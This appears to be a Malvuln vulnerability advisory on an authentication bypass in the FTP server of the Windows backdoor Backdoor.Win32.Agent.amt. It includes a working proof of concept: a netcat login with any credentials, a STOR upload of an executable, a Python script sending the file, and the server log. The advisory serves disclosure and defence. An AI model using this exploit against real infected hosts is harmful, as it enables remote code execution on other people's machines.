Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/2a442d3da88f721a786ff33179c664b7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.amt
Vulnerability: Authentication Bypass
Description: The malware can run an FTP server which listens on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders can then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: Agent
Type: PE32
MD5: 2a442d3da88f721a786ff33179c664b7
Vuln ID: MVID-2024-0673
Disclosure: 02/28/2024 


Exploit/PoC:
C:\sec>nc64.exe 192.168.18.125 2121
220 Welcome To mybr Ftp!
USER gg
331 Password required for gg.
PASS gg
230 User gg logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,211,164).
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *
import time

HOST = "192.168.18.125"
PORT = 54180
BUF_SIZE = 32
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

with open("DOOM_SM.exe", "rb") as f:
    while True: 
        bytez = f.read(BUF_SIZE)
        if not bytez:
            break
        s.send(bytez)
        time.sleep(0.5)

print("By malvuln")
s.close()

1/23/2024 9:13:03 PM - gg - 0.0.0.0 Disconnected
1/23/2024 9:10:36 PM - gg - 0.0.0.0 STOR C:\DOOM_SM.exe
1/23/2024 9:09:54 PM - gg -  PASV C:\
1/23/2024 9:09:44 PM - CD C:\
1/23/2024 9:09:44 PM - gg -  CDUP C:\
1/23/2024 9:09:18 PM - gg -  SYST C:\
1/23/2024 9:09:15 PM - gg
1/23/2024 9:09:15 PM - gg -  PASS C:\TEMP\hate
1/23/2024 9:09:12 PM -  -  USER C:\TEMP\gg
1/23/2024 9:09:06 PM -  -  Connected
1/23/2024 9:08:58 PM - FTP Started


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